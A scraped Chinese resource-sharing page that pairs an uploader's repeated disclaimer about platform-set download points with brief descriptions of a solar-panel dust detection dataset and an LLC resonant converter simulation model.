【重要提示】本页面仅为资源介绍,不含外部下载地址 亲爱的 优快云 用户: 感谢你浏览本资源页面,在这里提前向大家说明相关情况,避免后续产生误解。本资源我设置的初衷是 0 积分免费分享文档介绍,希望可以无偿给到有需要的朋友。但 优快云 平台存在自动调控机制,系统会根据资源下载热度、文件体积、平台规则等因素,自动修改资源所需下载积分,页面显示为 1 积分、2 积分或更高积分都属于平台自动调整结果,并非我手动修改设置,我没有权限自主锁定积分数值。 如果你打开页面后,发现下载所需积分不为 0,请务必谨慎考虑是否下载。一旦你支付积分完成下载,后续遇到资源内容和描述不符、文件损坏等问题,我无法承担对应的积分损失,也没有渠道为你办理积分退还。在此强烈建议,只有页面明确显示 0 积分的时候,再进行下载操作。 同时特别说明:这份资源介绍文案里,没有附带任何外部下载地址。资源本身是通过 优快云 官方上传通道上传的附件,正常情况下直接点击页面自带的下载按钮即可获取文件。页面找不到外部下载链接属于正常情况,并非资源缺失。 如果因为平台积分显示异常,导致你被扣取积分,积分退款、积分异常相关问题,请直接联系 优快云 官方客服咨询处理。平台规则由官方制定,我无法干预积分变动,望各位理解。

光伏板太阳能板尘土灰尘脏污检测数据集VOC+YOLO格式1006张3类别.md

【重要提示】本页面仅为资源介绍,不含外部下载地址 亲爱的 优快云 用户: 感谢你浏览本资源页面,在这里提前向大家说明相关情况,避免后续产生误解。本资源我设置的初衷是 0 积分免费分享文档介绍,希望可以无偿给到有需要的朋友。但 优快云 平台存在自动调控机制,系统会根据资源下载热度、文件体积、平台规则等因素,自动修改资源所需下载积分,页面显示为 1 积分、2 积分或更高积分都属于平台自动调整结果,并非我手动修改设置,我没有权限自主锁定积分数值。 如果你打开页面后,发现下载所需积分不为 0,请务必谨慎考虑是否下载。一旦你支付积分完成下载,后续遇到资源内容和描述不符、文件损坏等问题,我无法承担对应的积分损失,也没有渠道为你办理积分退还。在此强烈建议,只有页面明确显示 0 积分的时候,再进行下载操作。 同时特别说明:这份资源介绍文案里,没有附带任何外部下载地址。资源本身是通过 优快云 官方上传通道上传的附件,正常情况下直接点击页面自带的下载按钮即可获取文件。页面找不到外部下载链接属于正常情况,并非资源缺失。 如果因为平台积分显示异常,导致你被扣取积分,积分退款、积分异常相关问题,请直接联系 优快云 官方客服咨询处理。平台规则由官方制定,我无法干预积分变动,望各位理解。

无功优化电网故障下分布式能源系统多目标优化[并网转换器(GCC)](Matlab代码&Simulink实现)

内容概要:本文详细介绍了基于Plecs或Simulink平台构建的全桥LLC谐振变换器仿真模型,重点研究了变频控制与移相混合控制策略下的闭环系统设计与参数优化方法。内容涵盖全桥LLC谐振变换器的工作原理、小信号建模技术(如扩展描述函数EDF)、PID控制器参数整定过程以及软开关实现条件,并通过仿真验证了系统在稳态输出性能、动态响应特性(如启动过程与负载阶跃)和频率调节平滑性等方面的优良表现。同时提供了完整的仿真模型、参数设计报告及说明文档,有助于读者复现结果并深入理解控制机制与建模细节。; 适合人群:具备电力电子、自动控制等相关专业知识背景,从事高效率电源设计、新能源变换系统研发的工程师及高等院校电力电子与电力传动方向的研究生。; 使用场景及目标:①掌握LLC谐振变换器的小信号建模与闭环控制系统设计方法;②学习并应用变频与移相结合控制策略提升电源转换效率;③支撑科研项目中的电力电子系统仿真验证或学位论文课题开发;④复现高水平学术论文中关于谐振变换器的控制方案与性能分析。; 阅读建议:建议结合所提供的仿真模型与参数设计资料,边运行仿真边对照文章内容理解控制逻辑与建模过程,特别关注小信号模型的建立方法与PID控制器参数整定环节,以增强对实际工程问题的分析与设计能力。

上一篇: 打靶记录(二):vulnhub——LampSecurity:CTF4
Pixe1_P0ints
博客等级 码龄5年 74粉丝 6原创
评论 8
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值